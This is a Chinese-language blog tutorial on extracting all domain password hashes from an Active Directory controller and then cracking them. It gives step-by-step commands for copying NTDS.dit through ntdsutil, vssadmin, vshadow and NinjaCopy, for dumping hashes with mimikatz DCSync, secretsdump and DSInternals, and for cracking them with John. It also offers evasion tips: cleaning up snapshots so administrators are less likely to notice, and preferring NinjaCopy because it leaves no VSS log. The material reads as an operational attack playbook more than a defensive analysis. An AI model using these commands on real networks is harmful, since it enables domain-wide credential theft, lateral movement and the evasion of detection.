域控上 密码获取
总述
本文详细讲述了在域环境下 如何通过 域控 和 其的 ntds.dit 文件来获取全域用户的 NTLM Hash 和 爆破出明文密码的方法。
神
域环境下的密码认证流程在此也不过多赘述了:
krbtgt、KDC、AS、TGT、TGS 及 其通信过程、加密方法 等。
具体的原理,可参考 专业文档 当中的 域环境密码-域认证 相关的章节。
NTDS.dit 原理介绍
在此还是简单描述一下 NTDS.dit
NTDS.DIT:是AD的主要数据库文件,存储了域内所有用户、组、计算机和其他对象的信息。它包
括用户的密码哈希值、组成员身份、访问控制列表等。
NTDS.DIT 文件默认存储在域控制器的 %SystemRoot%\NTDS\ 文件夹下。
该文件只能通过域控制器进程和相关协议访问,以确保数据的安全性。
要破解 SAM 文件与 NTDS.DIT 文件都需要获取一个 SYSTEM 文件
NTDS.DIT文件位置:%SystemRoot%\NTDS\NTDS.dit (C:\Windows\NTDS\NTDS.dit)
SYSTEM文件位置: %SystemRoot%\System32\config\SYSTEM(C:\Windows\System32\config\SYSTEM)
SAM文件位置: %SystemRoot%\System32\config\SAM (C:\Windows\System32\config\SAM)
简单理解,NTDS.dit 就是 域 当中存储用户密码凭据的数据库,而我们想要获取到域内其他相关用户的 凭据 其实本质上也就是通过 NTDS.dit 获取相关域内用户的 NTLM Hash,以便我们后续进行相关的 PTH 实现 域内横移、内网横移 以及 相关用户的明文密码 的破解
我们上述当中也说了,我们想要获取域内相关账户的密码凭据本质上就是在域控当中去读取 NTDS.dit 数据库文件以实现的。
而 NTDS.dit 文件我们又说了因为 Windows 相关的保护机制 以及 确实一直在被占用,因此我们无法直接读取 和 复制。
那怎么办呢?
解决方法就是我们通过利用 Windows 的 快照 机制,直接将整个 C盘 进行快照的创建,再通过创建的快照读取到我们的 NTDS.dit 文件。
专业术语叫做:Volume Shadow Copy Service:卷影复制服务(VSS)
Volume Shadow Copy:
Volume Shadow Copy Service:卷影复制服务(VSS)是微软从Windows XP开始提供的一项服务,
用于创建数据的一致性时间点副本,即快照。这项服务对于数据备份和还原至关重要,尤其是在需要
保护关键业务数据的场景中。
VSS的主要功能:
数据备份:VSS允许在不中断应用程序的情况下创建数据的一致性副本。
系统恢复:支持系统恢复功能,如Windows的系统还原(System Restore)。
应用程序数据保护:在应用程序支持VSS的情况下,可以创建应用程序数据的一致性备份。
支持的操作系统:
VSS 在 Windows Server 2003 及以上版本得到了广泛的支持和使用
获取关键文件副本:利用 VSS 获取 NTDS.DIT、SAM、SYSTEM 等文件关键文件的副本
安全性和日志记录
日志记录:调用VSS服务会产生系统日志,事件ID 为 7036。
额外日志:执行特定命令(如ntdsutil snapshot "activate instance ntds" create quit quit)可能会产生事件ID为 98 的日志。
1、获取 NTDS.dit 数据库文件
1. Ntdsutil
1. Ntdsutil
域控自带
Ntdsutil.exe:
NT Directory Service Utility(NT 目录服务工具)是一个功能强大的命令行工具,专为 Active Directory 域服务 (AD DS) 和 Active Directory 轻型目录服务 (AD LDS) 提供管理功能。
它允许管理员执行数据库维护、管理和控制单个主机操作,并删除域控制器的元数据,特别是在域控制器未正确卸载的情况下。
功能和用途:
数据库维护:用于执行AD DS的数据库维护任务。
管理和控制:管理和控制单个主机操作。
元数据清理:删除未正确卸载的域控制器的元数据。
系统支持
Windows Server 2003
Windows Server 2008
Windows Server 2012
更高版本的 Windows Server
使用方法:
管理员权限:必须以管理员身份运行命令提示符(cmd.exe)。
命令行操作:通过命令行界面进行交互式操作。
类似工具
如果安装了 AD LDS 服务器角色但未安装 AD DS 服务器角色,则可以使用 dsdbutil.exe 和
dsmgmt.exe 命令行工具。
官方文档:
https://learn.microsoft.com/zh-cn/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753343(v=ws.11)
1)交互式环境
方法一
1、进入ntdsutil命令行
ntdsutil

2、进入快照
snapshot

3、激活 AD DS 实例
activate instance ntds

4、创建快照
create

5、挂载快照
mount [GUID]
# 退出 ntdsutil 应用环境
quit

6、复制 ntds.dit 文件
# 纯净 cmd 环境下,copy 为 cmd 环境下的命令。
copy C:\$挂载文件夹名称$\Windows\NTDS\ntds.dit C:\ntds.dit
copy C:\$SNAP_202205161140_VOLUMEC$\Windows\NTDS\ntds.dit C:\ntds.dit

7、卸载并删除快照
unmount [GUID]
del [GUID]
具体方法:
# 重新进入 ntdsutil 环境
ntdsutil
# 进入快照管理模式
snapshot
# 查看本地快照挂载信息
list mounted
# 查看所有的快照信息
list all
# 卸载
unmount [GUID]
# 删除
del [GUID]
必须要先 卸载,才能删除,卸载删除快照 减少被域管发现 暴露的可能。

方法二
1、进入ntdsutil命令行
ntdsutil

2、激活 AD DS 实例
activate instance ntds

3、创建安装介质
为可写(full)和只读域控制器 (RODC) 和 AD LDS 实例创建安装介质到指定文件夹中。
安装介质当中包含 NTDS.dit 数据库文件。
ifm
create full c:\qiaoshen

4、查看安装介质
# 同样的,tree 为 cmd 环境下的命令。
tree /F C:\qiaoshen

2)非交互式环境
ntdsutil Command + Command + ...
eg:
ntdsutil snapshot "List All" quit quit
1、查询当前系统的快照
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit

2、创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
- GUID 为:{de298d7e-8370-484e-9c2e-d7f1b2e4e62a}

3、挂载快照
ntdsutil snapshot "mount GUID" quit quit
eg:
ntdsutil snapshot "mount {de298d7e-8370-484e-9c2e-d7f1b2e4e62a}" quit quit
# 查看挂载信息
ntdsutil snapshot "List Mounted" quit quit
- 快照被挂载为:C:$SNAP_202508071616_VOLUMEC$


4、复制 ntds.dit
copy C:\$挂载文件夹名$\windows\NTDS\ntds.dit C:\ntds2.dit
copy C:\$挂载文件夹名$\windows\system32\config\SYSTEM C:\SYSTEM
eg:
copy C:\$SNAP_202508071616_VOLUMEC$\windows\NTDS\ntds.dit C:\ntds2.dit
copy C:\$SNAP_202508071616_VOLUMEC$\windows\system32\config\SYSTEM C:\SYSTEM

5、卸载并删除快照
ntdsutil snapshot "unmount GUID" quit quit
ntdsutil snapshot "delete GUID" quit quit
eg:
# 查看挂载信息
ntdsutil snapshot "List Mounted" quit quit
# 卸载
ntdsutil snapshot "unmount {de298d7e-8370-484e-9c2e-d7f1b2e4e62a}" quit quit
# 删除
ntdsutil snapshot "delete {de298d7e-8370-484e-9c2e-d7f1b2e4e62a}" quit quit
# 查看挂载信息
ntdsutil snapshot "List Mounted" quit quit

2. Vssadmin
域控自带
Vssadmin
Vssadmin 是卷影复制服务(Volume Shadow Copy Service, VSS)的管理命令行工具,用于创建、
列出、挂载和删除卷影复制快照。此工具在域环境中默认安装,支持从 Windows Server 2003 及以上
操作系统。
官方文档:
https://learn.microsoft.com/zh-cn/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754968(v=ws.11)
1、查询当前系统的快照
vssadmin list shadows

2、创建快照
vssadmin create shadow /for=C:

3、访问快照中的文件
# 查看快照列表
vssadmin list shadows

无法直接访问 \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\ 中的文件,可通过创建符号链接访问快照中的文件:
mklink /d C:\testvsc 上一步当中的需要访问快照的 卷影副本卷
eg:
mklink /d C:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\
注:
一定要记得 mklink /d ..\ 最后的这个 '\' ,这才表示这个快捷链接方式 对应到的是一个 文件夹。否则直接访问快捷链接方式还是无法访问。



4、复制文件
copy C:\testvsc\Windows\NTDS\ntds.dit C:\ntds3.dit

5、删除快捷链接方式
rd C:\testvsc

6、删除快照
vssadmin delete shadows /for=C: /quiet

3. Vshadow
域控不自带。
Vshadow:
vshadow.exe:是一个命令行实用程序,用于管理卷影副本(也称为快照)。此工具包含在 Microsoft Windows Software Development Kit (SDK) 中,并且具有 Microsoft 签名。
Vshadow 允许管理员在不中断服务的情况下创建数据的一致性副本,这对于数据备份和恢复至关重要。
官方文档:
https://learn.microsoft.com/zh-cn/windows/win32/vss/vshadow-tool-and-sample
不同的系统版本对应有不同的 Vshadow 的版本,需要下载使用对应的版本。
ps:Windows Server 2012 R2 可以用 Windows Server 2008 版本的 Vshadow。
1、查询当前系统的快照
vshadow.exe -q

2、创建快照
vshadow.exe -p -nw C:
-p 表示创建持久快照,重启系统后快照不会被删除。
-nw 表示不使用写入者,可以加快快照的创建速度。
C: 指定要创建快照的卷。
- 获得 SnapshotSetID、SnapshotID、Shadow copy device name

- SnapshotSetID(SnapshotSetID):{1c9661ce-b336-4f60-8a4c-89c52f51cbc7}
- ShadowcopySetID(SNAPSHOT ID): {6b6a5838-a365-4341-8e16-218f0f683300}
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8
3、复制 ntds.dit
copy [Shadow copy device name]\windows\ntds\ntds.dit C:\ntds.dit
eg:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\ntds4.dit

4、删除快照
vshadow -dx={SnapshotSetID}
vshadow -ds={ShadowcopySetID}
-dx 用于删除整个快照集。
-ds 用于删除单个快照。
其实直接删除整个快照集的话就不需要下面这个了。
eg:
1、查看当前主机的快照有哪些
vshadow.exe -q



2、删除快照
# 删除单个快照
vshadow -ds={ee9021cb-7ff3-45e7-994e-5f58e01ebf9a}
# 删除整个快照集
vshadow -dx={f0c7c37f-0f26-4cdc-8a4f-9364b36c7154}

3、再次查找相关的快照信息

4. NinjaCopy(优先)
!!! 神
优点:
没有调用 Volume Shadow Copy 服务,因此不会产生日志。
缺点:
可能需要把 PowerShell 脚本加载到本地。
解决方案:
远程加载。
Powershell 脚本。
NinjaCopy 是一个利用 PowerShell 实现的脚本工具,设计用于在不触发安全警告或日志记录的情况下复制敏感文件,如 NTDS.dit、注册表配置单元(例如 SAM 和 SYSTEM)等。该工具通过绕过标准的文件系统访问控制列表(SACL/DACL)和文件锁定机制来实现其功能。
主要功能
文件复制:能够复制受保护的文件,如 NTDS.dit 和注册表配置单元。
绕过安全控制:通过特定的技术绕过文件系统安全控制,避免触发安全警告。
工作原理
读取句柄获取:首先获取目标卷的读取句柄,管理员帐户可以执行此操作。
NTFS解析:然后解析卷上的 NTFS 结构,确定特定文件的字节在卷上的位置。
文件字节复制:扫描到文件字节所在位置并复制这些字节到目标位置。
项目地址:
https://adsecurity.org/?p=451
下载地址:
https://gitee.com/yijingsec/PowerSploit/raw/master/Exfiltration/Invoke-NinjaCopy.ps1
yijing 工具包当中也有。
使用方法
1)PowerShell 环境

1、进入 PowerShell 的 bypass 模式
powershell -ep bypass
2、导入脚本模块
Import-Module .\invoke-NinjaCopy.ps1
3、导出 SAM 文件
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination ".\sam.hive"
4、导出 system 文件
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination ".\system.hive"
5、导出 NTDS.dit 文件
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination ".\ntds.dit"
2)Cobalt Strike
1、加载 NinjaCopy 脚本
powershell-import C:\PowerShell_Script\Invoke-NinjaCopy.ps1
2、导出 SAM 文件
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination C:\sam.hive
3、导出 SYSTEM 文件
powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination C:\system.hive
4、导出 NTDS 文件
powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination
C:\ntds.dit
神 !!!
没有调用 Volume Shadow Copy 服务,因此不会产生日志。
2、解密NTDS.DIT文件
(1) 在线破解
在线破解,不用将域控上的 ntds.dit 文件下载下来,直接在已有的 shell 上破解。
有一个 Cobaltstrike 弹回的 beacon,就可以在 beacon 中直接利用 mimikatz 来破解,前提是要有管理员权限。
有一个 Meterpreter Shell ,可以在 Session 会话中加载 kiwi 模块,直接在目标主机进行密码凭证获取。
不需要 域控 的 beacon,只需要:
1. 域管账户
2. 在域内任意一台主机上
原理
Mimikatz 有一个功能 dcsync,它可以利用目录复制服务(Directory Replication Service,DRS)从 NTDS.DIT 文件中提取密码哈希值。
DCSync 工作原理
1. 攻击者获得管理员(域管)及以上权限后,可以使用 Mimikatz 等工具模拟 Active Directory 域控制器。
2. 攻击者使用 DCSync 命令,在目标域控制器上请求某个指定帐户的 NTLM 存储凭证密码哈希值,而无需提供该帐户的明文密码。但是攻击者需要知道目标帐户的名称,以及目标系统的域名和管理员凭据。
3. 目标域控制器接收到此请求后,将密码的 NTLM Hash 返回给攻击者。
4. 攻击者可以使用获得的密码哈希值来执行其他攻击,例如 Pass-the-Hash 攻击,这种攻击技术允许攻击者使用哈希值进行身份验证并获取对系统的访问权限,而无需知道实际的明文密码。此外,攻击者
也可以尝试破解密码哈希值以获得明文密码。
使用方法
1)获取 qiaoshen.local 域内所有用户 Hash
mimikatz lsadump::dcsync /domain:qiaoshen.local /all /csv

2)查看单个用户的详细信息
mimikatz lsadump::dcsync /domain:qiaoshen.local /user:具体用户的用户名
eg:
mimikatz lsadump::dcsync /domain:qiaoshen.local /user:qiaoshen

3)查看所有用户的详细信息
mimikatz lsadump::lsa /inject
需要在域控上执行,在别的域内主机上执行只会显示其他主机自己主机上的相关的基础信息,而不是域内的,无论是否为 域管账户。

(2) 离线破解
离线破解一般需要两步:
1. 首先就是将远端域控的 ntds.dit 下载到本地
2. 然后再在本地进行破解。
ntds.dit 文件一直在被 windows 系统使用,所以常规的复制下载方法是无法将文件下载到本地的。
SecretsDump
通过 impacket 套件中的 secretsdump.py 脚本获取 Hash。
Find 中在 Q:\QiaoShen\1Tool\内网\提权\Windows\利用\Kernelhub\Windows\CVE-2020-1472\dist 当中查找到了该文件 - secretsdump.exe。
reg save HKLM\SAM C:\temp\sam.hiv
reg save HKLM\SECURITY C:\temp\security.hive
reg save HKLM\SYSTEM C:\temp\system.hive
# sam
secretsdump.exe -sam sam.hiv -security security.hive -system system.hive LOCAL
# ntds.dit
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
# kali中可以使用impacket-secretsdump命令
impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL


DSInternals(还未完全跑通)
DSInternals PowerShell 模块提供了构建在框架之上的易于使用的 cmdlet。主要功能包括离线ntds.dit 文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。
支持系统
Windows Server 2012 R2
Windows Server 2008 R2
Windows 10 64-bit
Windows 8.1 64-bit
Windows 7 64-bit
项目地址:
https://github.com/MichaelGrafnetter/DSInternals
要使用 DSInternals 模块提取用户哈希值,我们需要先获取 ntds.dit、SYSTEM 这两个文件。将
ntds.dit、SYSTEM 这两个文件导出并拖到我们本地后,即可执行如下命令获取所有账户哈希。
# 导入DSInternals模块(这一步没实现)
Import-Module DSInternals
# 获取System bootkey
$key = Get-Bootkey -SystemHivePath 'C:\SYSTEM'
# 获取所有账户信息
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey $key

还可以导出支持 Hashcat 格式的哈希:
$key = Get-Bootkey -SystemHivePath 'C:\SYSTEM'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File hashes.txt
(3) 进一步爆破明文密码
通过 john、hashcat 此类工具尝试爆破 NTLM Hash 的明文密码。
此处以 John the ripper 举例:
# 将需要爆破的 NTLM Hash 重定向到 rockyou.txt 文件当中
echo 161cff084477fe596a5db81874498a24 > rockyou.txt
# 使用 John the ripper 进行 NTLM Hash 破解
john rockyou.txt --format=NT

版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
QiaoShen-World!
喜欢就支持一下吧